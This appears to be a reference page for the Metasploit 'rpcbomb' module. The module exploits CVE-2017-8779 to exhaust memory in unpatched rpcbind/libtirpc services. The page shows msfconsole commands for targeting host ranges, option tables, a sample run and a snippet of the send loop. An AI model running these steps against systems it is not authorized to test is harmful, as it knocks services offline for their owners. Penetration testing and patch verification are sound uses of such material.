RPC DoS targeting *nix rpcbind/libtirpc - Metasploit
This page contains detailed information about how to use the auxiliary/dos/rpc/rpcbomb metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: RPC DoS targeting *nix rpcbind/libtirpc
Module: auxiliary/dos/rpc/rpcbomb
Source code: modules/auxiliary/dos/rpc/rpcbomb.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 111
List of CVEs: CVE-2017-8779
This module exploits a vulnerability in certain versions of rpcbind, LIBTIRPC, and NTIRPC, allowing an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/dos/rpc/rpcbomb
msf auxiliary(rpcbomb) > show options
... show and set options ...
msf auxiliary(rpcbomb) > set RHOSTS ip-range
msf auxiliary(rpcbomb) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(rpcbomb) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(rpcbomb) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(rpcbomb) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a vulnerability in rpcbind through 0.2.4, LIBTIRPC through 1.0.1 and 1.0.2-rc through 1.0.2-rc3, and NTIRPC through 1.4.3.
Exploiting this vulnerability allows an attacker to trigger large (and never freed) memory allocations for XDR strings on the target.
Verification Steps
- Start msfconsole
- Do:
use auxiliary/dos/rpc/rpcbomb
- Do:
set RHOSTS [IP]
- Do:
run
- Target should leak memory
Scenarios
rpcbind 0.2.3-0.2 on Ubuntu 16.04 (amd64)
msf > use auxiliary/dos/rpc/rpcbomb
msf auxiliary(rpcbomb) > set RHOSTS 10.0.2.7
RHOSTS => 10.0.2.7
msf auxiliary(rpcbomb) > run
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(rpcbomb) >
Go back to menu.
Msfconsole Usage
Here is how the dos/rpc/rpcbomb auxiliary module looks in the msfconsole:
msf6 > use auxiliary/dos/rpc/rpcbomb
msf6 auxiliary(dos/rpc/rpcbomb) > show info
Name: RPC DoS targeting *nix rpcbind/libtirpc
Module: auxiliary/dos/rpc/rpcbomb
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
guidovranken
Pearce Barry <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOCSIZE 1000000 yes Number of bytes to allocate
BATCHSIZE 256 yes The number of hosts to probe in each set
COUNT 1000000 no Number of intervals to loop
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
Description:
This module exploits a vulnerability in certain versions of rpcbind,
LIBTIRPC, and NTIRPC, allowing an attacker to trigger large (and
never freed) memory allocations for XDR strings on the target.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-8779
http://www.securityfocus.com/bid/98325
http://openwall.com/lists/oss-security/2017/05/03/12
Module Options
This is a complete list of options available in the dos/rpc/rpcbomb auxiliary module:
msf6 auxiliary(dos/rpc/rpcbomb) > show options
Module options (auxiliary/dos/rpc/rpcbomb):
Name Current Setting Required Description
---- --------------- -------- -----------
ALLOCSIZE 1000000 yes Number of bytes to allocate
BATCHSIZE 256 yes The number of hosts to probe in each set
COUNT 1000000 no Number of intervals to loop
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 111 yes The target port (UDP)
THREADS 10 yes The number of concurrent threads
Advanced Options
Here is a complete list of advanced options supported by the dos/rpc/rpcbomb auxiliary module:
msf6 auxiliary(dos/rpc/rpcbomb) > show advanced
Module advanced options (auxiliary/dos/rpc/rpcbomb):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ScannerMaxResends 10 yes The maximum times to resend a packet when out of buffers
ScannerRecvInterval 30 yes The maximum numbers of sends before entering the processing loop
ScannerRecvQueueLimit 100 yes The maximum queue size before breaking out of the processing loop
ScannerRecvWindow 15 yes The number of seconds to wait post-scan to catch leftover replies
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the dos/rpc/rpcbomb module can do:
msf6 auxiliary(dos/rpc/rpcbomb) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the dos/rpc/rpcbomb auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(dos/rpc/rpcbomb) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Host <IP> unreachable
Here is a relevant code snippet related to the "Host <IP> unreachable" error message:
60: count = 0
61: while count < datastore['COUNT'] do
62: begin
63: s.send(pkt, 0)
64: rescue ::Errno::ENOBUFS, ::Rex::ConnectionError, ::Errno::ECONNREFUSED
65: vprint_error("Host #{ip} unreachable")
66: break
67: end
68: count += 1
69: end
70:
Go back to menu.
Related Pull Requests
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8515 Merged Pull Request: Rpcbomb DoS Module
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/dcerpc/cve_2020_1472_zerologon
- auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
- auxiliary/admin/dcerpc/icpr_cert
- auxiliary/admin/dcerpc/samr_computer
- auxiliary/admin/sunrpc/solaris_kcms_readfile
- auxiliary/scanner/dcerpc/dfscoerce
- auxiliary/scanner/dcerpc/endpoint_mapper
- auxiliary/scanner/dcerpc/hidden
- auxiliary/scanner/dcerpc/management
- auxiliary/scanner/dcerpc/petitpotam
- auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
- auxiliary/scanner/dcerpc/windows_deployment_services
- exploit/netware/sunrpc/pkernel_callit
- exploit/solaris/sunrpc/sadmind_adm_build_path
- exploit/solaris/sunrpc/sadmind_exec
- exploit/solaris/sunrpc/ypupdated_exec
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/dcerpc/ms03_026_dcom
- exploit/windows/dcerpc/ms05_017_msmq
- exploit/windows/dcerpc/ms07_029_msdns_zonename
- exploit/windows/dcerpc/ms07_065_msmq
Authors
- guidovranken
- Pearce Barry <pearce_barry[at]rapid7.com>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.